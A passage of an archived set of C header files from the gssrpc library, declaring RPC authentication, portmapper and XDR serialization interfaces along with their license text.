pmap_getport gssrpc_pmap_getport /* pmap_prot.h */ #define xdr_pmap gssrpc_xdr_pmap #define xdr_pmaplist gssrpc_xdr_pmaplist /* pmap_rmt.h */ #define xdr_rmtcall_args gssrpc_xdr_rmtcall_args #define xdr_rmtcallres gssrpc_xdr_rmtcallres /* rpc.h */ #define get_myaddress gssrpc_get_myaddress #define bindresvport gssrpc_bindresvport #define bindresvport_sa gssrpc_bindresvport_sa #define callrpc gssrpc_callrpc #define getrpcport gssrpc_getrpcport /* rpc_msg.h */ #define xdr_callmsg gssrpc_xdr_callmsg #define xdr_callhdr gssrpc_xdr_callhdr #define xdr_replymsg gssrpc_xdr_replymsg #define xdr_accepted_reply gssrpc_xdr_accepted_reply #define xdr_rejected_reply gssrpc_xdr_rejected_reply /* svc.h */ #define svc_register gssrpc_svc_register #define registerrpc gssrpc_registerrpc #define svc_unregister gssrpc_svc_unregister #define xprt_register gssrpc_xprt_register #define xprt_unregister gssrpc_xprt_unregister #define svc_sendreply gssrpc_svc_sendreply #define svcerr_decode gssrpc_svcerr_decode #define svcerr_weakauth gssrpc_svcerr_weakauth #define svcerr_noproc gssrpc_svcerr_noproc #define svcerr_progvers gssrpc_svcerr_progvers #define svcerr_auth gssrpc_svcerr_auth #define svcerr_noprog gssrpc_svcerr_noprog #define svcerr_systemerr gssrpc_svcerr_systemerr #define svc_maxfd gssrpc_svc_maxfd #define svc_fdset gssrpc_svc_fdset #define svc_fds gssrpc_svc_fds #define rpctest_service gssrpc_rpctest_service #define svc_getreq gssrpc_svc_getreq #define svc_getreqset gssrpc_svc_getreqset #define svc_getreqset2 gssrpc_svc_getreqset2 #define svc_run gssrpc_svc_run #define svcraw_create gssrpc_svcraw_create #define svcudp_create gssrpc_svcudp_create #define svcudp_bufcreate gssrpc_svcudp_bufcreate #define svcudp_enablecache gssrpc_svcudp_enablecache #define svctcp_create gssrpc_svctcp_create #define svcfd_create gssrpc_svcfd_create /* svc_auth.h */ #define svc_auth_none_ops gssrpc_svc_auth_none_ops #define svc_auth_gssapi_ops gssrpc_svc_auth_gssapi_ops #define svc_auth_gss_ops gssrpc_svc_auth_gss_ops #define svcauth_gss_set_svc_name gssrpc_svcauth_gss_set_svc_name #define svcauth_gss_get_principal gssrpc_svcauth_gss_get_principal /* svc_auth_gss.c */ #define svc_debug_gss gssrpc_svc_debug_gss /* svc_auth_gssapi.c */ #define svc_debug_gssapi gssrpc_svc_debug_gssapi /* svc_auth_none.c */ #define svc_auth_none gssrpc_svc_auth_none /* xdr.h */ #define xdr_void gssrpc_xdr_void #define xdr_int gssrpc_xdr_int #define xdr_u_int gssrpc_xdr_u_int #define xdr_long gssrpc_xdr_long #define xdr_u_long gssrpc_xdr_u_long #define xdr_short gssrpc_xdr_short #define xdr_u_short gssrpc_xdr_u_short #define xdr_bool gssrpc_xdr_bool #define xdr_enum gssrpc_xdr_enum #define xdr_array gssrpc_xdr_array #define xdr_bytes gssrpc_xdr_bytes #define xdr_opaque gssrpc_xdr_opaque #define xdr_string gssrpc_xdr_string #define xdr_union gssrpc_xdr_union #define xdr_char gssrpc_xdr_char #define xdr_u_char gssrpc_xdr_u_char #define xdr_vector gssrpc_xdr_vector #define xdr_float gssrpc_xdr_float #define xdr_double gssrpc_xdr_double #define xdr_reference gssrpc_xdr_reference #define xdr_pointer gssrpc_xdr_pointer #define xdr_wrapstring gssrpc_xdr_wrapstring #define xdr_free gssrpc_xdr_free #define xdr_sizeof gssrpc_xdr_sizeof #define xdr_netobj gssrpc_xdr_netobj #define xdr_int32 gssrpc_xdr_int32 #define xdr_u_int32 gssrpc_xdr_u_int32 #define xdralloc_create gssrpc_xdralloc_create #define xdralloc_release gssrpc_xdralloc_release #define xdralloc_getdata gssrpc_xdralloc_getdata #define xdrmem_create gssrpc_xdrmem_create #define xdrstdio_create gssrpc_xdrstdio_create #define xdrrec_create gssrpc_xdrrec_create #define xdrrec_endofrecord gssrpc_xdrrec_endofrecord #define xdrrec_skiprecord gssrpc_xdrrec_skiprecord #define xdrrec_eof gssrpc_xdrrec_eof #endif /* !defined(GSSRPC_RENAME_H) */ gssrpc/auth_gssapi.h 0000644 00000010355 15246445046 0010543 0 ustar 00 /* include/gssrpc/auth_gssapi.h - GSS-API style auth parameters for RPC */ /* * Copyright 1993 OpenVision Technologies, Inc., All Rights Reserved. */ #ifndef GSSRPC_AUTH_GSSAPI_H #define GSSRPC_AUTH_GSSAPI_H GSSRPC__BEGIN_DECLS #define AUTH_GSSAPI_EXIT 0 #define AUTH_GSSAPI_INIT 1 #define AUTH_GSSAPI_CONTINUE_INIT 2 #define AUTH_GSSAPI_MSG 3 #define AUTH_GSSAPI_DESTROY 4 /* * Yuck. Some sys/types.h files leak symbols */ #ifdef major #undef major #endif #ifdef minor #undef minor #endif typedef struct _auth_gssapi_name { char *name; gss_OID type; } auth_gssapi_name; typedef struct _auth_gssapi_creds { uint32_t version; bool_t auth_msg; gss_buffer_desc client_handle; } auth_gssapi_creds; typedef struct _auth_gssapi_init_arg { uint32_t version; gss_buffer_desc token; } auth_gssapi_init_arg; typedef struct _auth_gssapi_init_res { uint32_t version; gss_buffer_desc client_handle; OM_uint32 gss_major, gss_minor; gss_buffer_desc token; gss_buffer_desc signed_isn; } auth_gssapi_init_res; typedef void (*auth_gssapi_log_badauth_func) (OM_uint32 major, OM_uint32 minor, struct sockaddr_in *raddr, caddr_t data); /* auth_gssapi_log_badauth_func is IPv4-specific; this version gives the * transport handle so the fd can be used to get the address. */ typedef void (*auth_gssapi_log_badauth2_func) (OM_uint32 major, OM_uint32 minor, SVCXPRT *xprt, caddr_t data); typedef void (*auth_gssapi_log_badverf_func) (gss_name_t client, gss_name_t server, struct svc_req *rqst, struct rpc_msg *msg, caddr_t data); typedef void (*auth_gssapi_log_miscerr_func) (struct svc_req *rqst, struct rpc_msg *msg, char *error, caddr_t data); bool_t xdr_gss_buf(XDR *, gss_buffer_t); bool_t xdr_authgssapi_creds(XDR *, auth_gssapi_creds *); bool_t xdr_authgssapi_init_arg(XDR *, auth_gssapi_init_arg *); bool_t xdr_authgssapi_init_res(XDR *, auth_gssapi_init_res *); bool_t auth_gssapi_wrap_data (OM_uint32 *major, OM_uint32 *minor, gss_ctx_id_t context, uint32_t seq_num, XDR *out_xdrs, bool_t (*xdr_func)(), caddr_t xdr_ptr); bool_t auth_gssapi_unwrap_data (OM_uint32 *major, OM_uint32 *minor, gss_ctx_id_t context, uint32_t seq_num, XDR *in_xdrs, bool_t (*xdr_func)(), caddr_t xdr_ptr); AUTH *auth_gssapi_create (CLIENT *clnt, OM_uint32 *major_status, OM_uint32 *minor_status, gss_cred_id_t claimant_cred_handle, gss_name_t target_name, gss_OID mech_type, OM_uint32 req_flags, OM_uint32 time_req, gss_OID *actual_mech_type, OM_uint32 *ret_flags, OM_uint32 *time_rec); AUTH *auth_gssapi_create_default (CLIENT *clnt, char *service_name); void auth_gssapi_display_status (char *msg, OM_uint32 major, OM_uint32 minor); bool_t auth_gssapi_seal_seq (gss_ctx_id_t context, uint32_t seq_num, gss_buffer_t out_buf); bool_t auth_gssapi_unseal_seq (gss_ctx_id_t context, gss_buffer_t in_buf, uint32_t *seq_num); bool_t svcauth_gssapi_set_names (auth_gssapi_name *names, int num); void svcauth_gssapi_unset_names (void); void svcauth_gssapi_set_log_badauth_func (auth_gssapi_log_badauth_func func, caddr_t data); void svcauth_gssapi_set_log_badauth2_func (auth_gssapi_log_badauth2_func func, caddr_t data); void svcauth_gssapi_set_log_badverf_func (auth_gssapi_log_badverf_func func, caddr_t data); void svcauth_gssapi_set_log_miscerr_func (auth_gssapi_log_miscerr_func func, caddr_t data); void svcauth_gss_set_log_badauth_func(auth_gssapi_log_badauth_func, caddr_t); void svcauth_gss_set_log_badauth2_func(auth_gssapi_log_badauth2_func, caddr_t); void svcauth_gss_set_log_badverf_func(auth_gssapi_log_badverf_func, caddr_t); void svcauth_gss_set_log_miscerr_func(auth_gssapi_log_miscerr_func, caddr_t data); #define GSS_COPY_BUFFER(dest, src) { \ (dest).length = (src).length; \ (dest).value = (src).value; } #define GSS_DUP_BUFFER(dest, src) { \ (dest).length = (src).length; \ (dest).value = (void *) malloc((dest).length); \ memcpy((dest).value, (src).value, (dest).length); } #define GSS_BUFFERS_EQUAL(b1, b2) (((b1).length == (b2).length) && \ !memcmp((b1).value,(b2).value,(b1.length))) GSSRPC__END_DECLS #endif /* !defined(GSSRPC_AUTH_GSSAPI_H) */ gssrpc/pmap_rmt.h 0000644 00000004377 15246445046 0010062 0 ustar 00 /* @(#)pmap_rmt.h 2.1 88/07/29 4.0 RPCSRC; from 1.2 88/02/08 SMI */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Structures and XDR routines for parameters to and replies from * the portmapper remote-call-service. */ #ifndef GSSRPC_PMAP_RMT_H #define GSSRPC_PMAP_RMT_H GSSRPC__BEGIN_DECLS struct rmtcallargs { rpcprog_t prog; rpcvers_t vers; rpcproc_t proc; uint32_t arglen; caddr_t args_ptr; xdrproc_t xdr_args; }; bool_t xdr_rmtcall_args(XDR *, struct rmtcallargs *); struct rmtcallres { rpcport_t *port_ptr; uint32_t resultslen; caddr_t results_ptr; xdrproc_t xdr_results; }; bool_t xdr_rmtcallres(XDR *, struct rmtcallres *); GSSRPC__END_DECLS #endif /* !defined(GSSRPC_PMAP_RMT_H) */ gssrpc/auth.h 0000644 00000014510 15246445046 0007172 0 ustar 00 /* @(#)auth.h 2.3 88/08/07 4.0 RPCSRC; from 1.17 88/02/08 SMI */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * auth.h, Authentication interface. * * The data structures are completely opaque to the client. The client * is required to pass a AUTH * to routines that create rpc * "sessions". */ #ifndef GSSRPC_AUTH_H #define GSSRPC_AUTH_H #include <gssrpc/xdr.h> GSSRPC__BEGIN_DECLS #define MAX_AUTH_BYTES 400 #define MAXNETNAMELEN 255 /* maximum length of network user's name */ /* * Status returned from authentication check */ enum auth_stat { AUTH_OK=0, /* * failed at remote end */ AUTH_BADCRED=1, /* bogus credentials (seal broken) */ AUTH_REJECTEDCRED=2, /* client should begin new session */ AUTH_BADVERF=3, /* bogus verifier (seal broken) */ AUTH_REJECTEDVERF=4, /* verifier expired or was replayed */ AUTH_TOOWEAK=5, /* rejected due to security reasons */ /* * failed locally */ AUTH_INVALIDRESP=6, /* bogus response verifier */ AUTH_FAILED=7, /* some unknown reason */ /* * RPCSEC_GSS errors */ RPCSEC_GSS_CREDPROBLEM = 13, RPCSEC_GSS_CTXPROBLEM = 14 }; union des_block { char c[8]; }; typedef union des_block des_block; extern bool_t xdr_des_block(XDR *, des_block *); /* * Authentication info. Opaque to client. */ struct opaque_auth { enum_t oa_flavor; /* flavor of auth */ caddr_t oa_base; /* address of more auth stuff */ u_int oa_length; /* not to exceed MAX_AUTH_BYTES */ }; /* * Auth handle, interface to client side authenticators. */ struct rpc_msg; typedef struct AUTH { struct opaque_auth ah_cred; struct opaque_auth ah_verf; union des_block ah_key; struct auth_ops { void (*ah_nextverf)(struct AUTH *); /* nextverf & serialize */ int (*ah_marshal)(struct AUTH *, XDR *); /* validate varifier */ int (*ah_validate)(struct AUTH *, struct opaque_auth *); /* refresh credentials */ int (*ah_refresh)(struct AUTH *, struct rpc_msg *); /* destroy this structure */ void (*ah_destroy)(struct AUTH *); /* encode data for wire */ int (*ah_wrap)(struct AUTH *, XDR *, xdrproc_t, caddr_t); /* decode data from wire */ int (*ah_unwrap)(struct AUTH *, XDR *, xdrproc_t, caddr_t); } *ah_ops; void *ah_private; } AUTH; /* * Authentication ops. * The ops and the auth handle provide the interface to the authenticators. * * AUTH *auth; * XDR *xdrs; * struct opaque_auth verf; */ #define AUTH_NEXTVERF(auth) \ ((*((auth)->ah_ops->ah_nextverf))(auth)) #define auth_nextverf(auth) \ ((*((auth)->ah_ops->ah_nextverf))(auth)) #define AUTH_MARSHALL(auth, xdrs) \ ((*((auth)->ah_ops->ah_marshal))(auth, xdrs)) #define auth_marshall(auth, xdrs) \ ((*((auth)->ah_ops->ah_marshal))(auth, xdrs)) #define AUTH_VALIDATE(auth, verfp) \ ((*((auth)->ah_ops->ah_validate))((auth), verfp)) #define auth_validate(auth, verfp) \ ((*((auth)->ah_ops->ah_validate))((auth), verfp)) #define AUTH_REFRESH(auth, msg) \ ((*((auth)->ah_ops->ah_refresh))(auth, msg)) #define auth_refresh(auth, msg) \ ((*((auth)->ah_ops->ah_refresh))(auth, msg)) #define AUTH_WRAP(auth, xdrs, xfunc, xwhere) \ ((*((auth)->ah_ops->ah_wrap))(auth, xdrs, \ xfunc, xwhere)) #define auth_wrap(auth, xdrs, xfunc, xwhere) \ ((*((auth)->ah_ops->ah_wrap))(auth, xdrs, \ xfunc, xwhere)) #define AUTH_UNWRAP(auth, xdrs, xfunc, xwhere) \ ((*((auth)->ah_ops->ah_unwrap))(auth, xdrs, \ xfunc, xwhere)) #define auth_unwrap(auth, xdrs, xfunc, xwhere) \ ((*((auth)->ah_ops->ah_unwrap))(auth, xdrs, \ xfunc, xwhere)) #define AUTH_DESTROY(auth) \ ((*((auth)->ah_ops->ah_destroy))(auth)) #define auth_destroy(auth) \ ((*((auth)->ah_ops->ah_destroy))(auth)) #ifdef GSSRPC__IMPL /* RENAMED: should be _null_auth if we can use reserved namespace. */ extern struct opaque_auth gssrpc__null_auth; #endif /* * These are the various implementations of client side authenticators. */ /* * Unix style authentication * AUTH *authunix_create(machname, uid, gid, len, aup_gids) * char *machname; * int uid; * int gid; * int len; * int *aup_gids; */ extern AUTH *authunix_create(char *machname, int uid, int gid, int len, int *aup_gids); extern AUTH *authunix_create_default(void); /* takes no parameters */ extern AUTH *authnone_create(void); /* takes no parameters */ extern AUTH *authdes_create(); extern bool_t xdr_opaque_auth(XDR *, struct opaque_auth *); #define AUTH_NONE 0 /* no authentication */ #define AUTH_NULL 0 /* backward compatibility */ #define AUTH_UNIX 1 /* unix style (uid, gids) */ #define AUTH_SHORT 2 /* short hand unix style */ #define AUTH_DES 3 /* des style (encrypted timestamps) */ #define AUTH_GSSAPI 300001 /* GSS-API style */ #define RPCSEC_GSS 6 /* RPCSEC_GSS */ GSSRPC__END_DECLS #endif /* !defined(GSSRPC_AUTH_H) */ gssrpc/svc_auth.h 0000644 00000007610 15246445046 0010050 0 ustar 00 /* @(#)svc_auth.h 2.1 88/07/29 4.0 RPCSRC */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* @(#)svc_auth.h 1.6 86/07/16 SMI */ /* * svc_auth.h, Service side of rpc authentication. */ /* * Interface to server-side authentication flavors. */ #ifndef GSSRPC_SVC_AUTH_H #define GSSRPC_SVC_AUTH_H #include <gssapi/gssapi.h> GSSRPC__BEGIN_DECLS struct svc_req; typedef struct SVCAUTH { struct svc_auth_ops { int (*svc_ah_wrap)(struct SVCAUTH *, XDR *, xdrproc_t, caddr_t); int (*svc_ah_unwrap)(struct SVCAUTH *, XDR *, xdrproc_t, caddr_t); int (*svc_ah_destroy)(struct SVCAUTH *); } *svc_ah_ops; void * svc_ah_private; } SVCAUTH; #ifdef GSSRPC__IMPL extern SVCAUTH svc_auth_none; extern struct svc_auth_ops svc_auth_none_ops; extern struct svc_auth_ops svc_auth_gssapi_ops; extern struct svc_auth_ops svc_auth_gss_ops; /* * Server side authenticator */ /* RENAMED: should be _authenticate. */ extern enum auth_stat gssrpc__authenticate(struct svc_req *rqst, struct rpc_msg *msg, bool_t *no_dispatch); #define SVCAUTH_WRAP(auth, xdrs, xfunc, xwhere) \ ((*((auth)->svc_ah_ops->svc_ah_wrap))(auth, xdrs, xfunc, xwhere)) #define SVCAUTH_UNWRAP(auth, xdrs, xfunc, xwhere) \ ((*((auth)->svc_ah_ops->svc_ah_unwrap))(auth, xdrs, xfunc, xwhere)) #define SVCAUTH_DESTROY(auth) \ ((*((auth)->svc_ah_ops->svc_ah_destroy))(auth)) /* no authentication */ /* RENAMED: should be _svcauth_none. */ enum auth_stat gssrpc__svcauth_none(struct svc_req *, struct rpc_msg *, bool_t *); /* unix style (uid, gids) */ /* RENAMED: shoudl be _svcauth_unix. */ enum auth_stat gssrpc__svcauth_unix(struct svc_req *, struct rpc_msg *, bool_t *); /* short hand unix style */ /* RENAMED: should be _svcauth_short. */ enum auth_stat gssrpc__svcauth_short(struct svc_req *, struct rpc_msg *, bool_t *); /* GSS-API style */ /* RENAMED: should be _svcauth_gssapi. */ enum auth_stat gssrpc__svcauth_gssapi(struct svc_req *, struct rpc_msg *, bool_t *); /* RPCSEC_GSS */ enum auth_stat gssrpc__svcauth_gss(struct svc_req *, struct rpc_msg *, bool_t *); #endif /* defined(GSSRPC__IMPL) */ /* * Approved way of getting principal of caller */ char *svcauth_gss_get_principal(SVCAUTH *auth); /* * Approved way of setting server principal */ bool_t svcauth_gss_set_svc_name(gss_name_t name); GSSRPC__END_DECLS #endif /* !defined(GSSRPC_SVC_AUTH_H) */ gssrpc/pmap_prot.h 0000644 00000007401 15246445046 0010233 0 ustar 00 /* @(#)pmap_prot.h 2.1 88/07/29 4.0 RPCSRC; from 1.14 88/02/08 SMI */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * pmap_prot.h * Protocol for the local binder service, or pmap. * * The following procedures are supported by the protocol: * * PMAPPROC_NULL() returns () * takes nothing, returns nothing * * PMAPPROC_SET(struct pmap) returns (bool_t) * TRUE is success, FALSE is failure. Registers the tuple * [prog, vers, prot, port]. * * PMAPPROC_UNSET(struct pmap) returns (bool_t) * TRUE is success, FALSE is failure. Un-registers pair * [prog, vers]. prot and port are ignored. * * PMAPPROC_GETPORT(struct pmap) returns (u_short). * 0 is failure. Otherwise returns the port number where the pair * [prog, vers] is registered. It may lie! * * PMAPPROC_DUMP() RETURNS (struct pmaplist *) * * PMAPPROC_CALLIT(rpcprog_t, rpcvers_t, rpcproc_t, string<>) * RETURNS (port, string<>); * usage: encapsulatedresults = PMAPPROC_CALLIT(prog, vers, proc, encapsulatedargs); * Calls the procedure on the local machine. If it is not registered, * this procedure is quite; ie it does not return error information!!! * This procedure only is supported on rpc/udp and calls via * rpc/udp. This routine only passes null authentication parameters. * This file has no interface to xdr routines for PMAPPROC_CALLIT. * * The service supports remote procedure calls on udp/ip or tcp/ip socket 111. */ #ifndef GSSRPC_PMAP_PROT_H #define GSSRPC_PMAP_PROT_H GSSRPC__BEGIN_DECLS #define PMAPPORT ((u_short)111) #define PMAPPROG ((rpcprog_t)100000) #define PMAPVERS ((rpcvers_t)2) #define PMAPVERS_PROTO ((rpcprot_t)2) #define PMAPVERS_ORIG ((rpcvers_t)1) #define PMAPPROC_NULL ((rpcproc_t)0) #define PMAPPROC_SET ((rpcproc_t)1) #define PMAPPROC_UNSET ((rpcproc_t)2) #define PMAPPROC_GETPORT ((rpcproc_t)3) #define PMAPPROC_DUMP ((rpcproc_t)4) #define PMAPPROC_CALLIT ((rpcproc_t)5) struct pmap { rpcprog_t pm_prog; rpcvers_t pm_vers; rpcprot_t pm_prot; rpcport_t pm_port; }; extern bool_t xdr_pmap(XDR *, struct pmap *); struct pmaplist { struct pmap pml_map; struct pmaplist *pml_next; }; extern bool_t xdr_pmaplist(XDR *, struct pmaplist **); GSSRPC__END_DECLS #endif /* !defined(GSSRPC_PMAP_PROT_H) */ gssrpc/xdr.h 0000644 00000027003 15246445046 0007027 0 ustar 00 /* @(#)xdr.h 2.2 88/07/29 4.0 RPCSRC */ /* * Copyright (c) 2010, Oracle America, Inc. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of the "Oracle America, Inc." nor the names of * its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* @(#)xdr.h 1.19 87/04/22 SMI */ /* * xdr.h, External Data Representation Serialization Routines. */ #ifndef GSSRPC_XDR_H #define GSSRPC_XDR_H #include <stdio.h> /* for FILE */ GSSRPC__BEGIN_DECLS /* * XDR provides a conventional way for converting between C data * types and an external bit-string representation. Library supplied * routines provide for the conversion on built-in C data types. These * routines and utility routines defined here are used to help implement * a type encode/decode routine for each user-defined type. * * Each data type provides a single procedure which takes two arguments: * * bool_t * xdrproc(xdrs, argresp) * XDR *xdrs; * <type> *argresp; * * xdrs is an instance of a XDR handle, to which or from which the data * type is to be converted. argresp is a pointer to the structure to be * converted. The XDR handle contains an operation field which indicates * which of the operations (ENCODE, DECODE * or FREE) is to be performed. * * XDR_DECODE may allocate space if the pointer argresp is null. This * data can be freed with the XDR_FREE operation. * * We write only one procedure per data type to make it easy * to keep the encode and decode procedures for a data type consistent. * In many cases the same code performs all operations on a user defined type, * because all the hard work is done in the component type routines. * decode as a series of calls on the nested data types. */ /* * Xdr operations. XDR_ENCODE causes the type to be encoded into the * stream. XDR_DECODE causes the type to be extracted from the stream. * XDR_FREE can be used to release the space allocated by an XDR_DECODE * request. */ enum xdr_op { XDR_ENCODE=0, XDR_DECODE=1, XDR_FREE=2 }; /* * This is the number of bytes per unit of external data. */ #define BYTES_PER_XDR_UNIT (4) #define RNDUP(x) ((((x) + BYTES_PER_XDR_UNIT - 1) / BYTES_PER_XDR_UNIT) \ * BYTES_PER_XDR_UNIT) /* * A xdrproc_t exists for each data type which is to be encoded or decoded. * * The second argument to the xdrproc_t is a pointer to an opaque pointer. * The opaque pointer generally points to a structure of the data type * to be decoded. If this pointer is 0, then the type routines should * allocate dynamic storage of the appropriate size and return it. * bool_t (*xdrproc_t)(XDR *, caddr_t *); * * XXX can't actually prototype it, because some take three args!!! */ typedef bool_t (*xdrproc_t)(); /* * The XDR handle. * Contains operation which is being applied to the stream, * an operations vector for the paticular implementation (e.g. see xdr_mem.c), * and two private fields for the use of the particular impelementation. */ typedef struct XDR { enum xdr_op x_op; /* operation; fast additional param */ struct xdr_ops { /* get a long from underlying stream */ bool_t (*x_getlong)(struct XDR *, long *); /* put a long to underlying stream */ bool_t (*x_putlong)(struct XDR *, long *); /* get some bytes from underlying stream */ bool_t (*x_getbytes)(struct XDR *, caddr_t, u_int); /* put some bytes to underlying stream */ bool_t (*x_putbytes)(struct XDR *, caddr_t, u_int); /* returns bytes off from beginning */ u_int (*x_getpostn)(struct XDR *); /* lets you reposition the stream */ bool_t (*x_setpostn)(struct XDR *, u_int); /* buf quick ptr to buffered data */ rpc_inline_t *(*x_inline)(struct XDR *, int); /* free privates of this xdr_stream */ void (*x_destroy)(struct XDR *); } *x_ops; caddr_t x_public; /* users' data */ void * x_private; /* pointer to private data */ caddr_t x_base; /* private used for position info */ int x_handy; /* extra private word */ } XDR; /* * Operations defined on a XDR handle * * XDR *xdrs; * int32_t *longp; * caddr_t addr; * 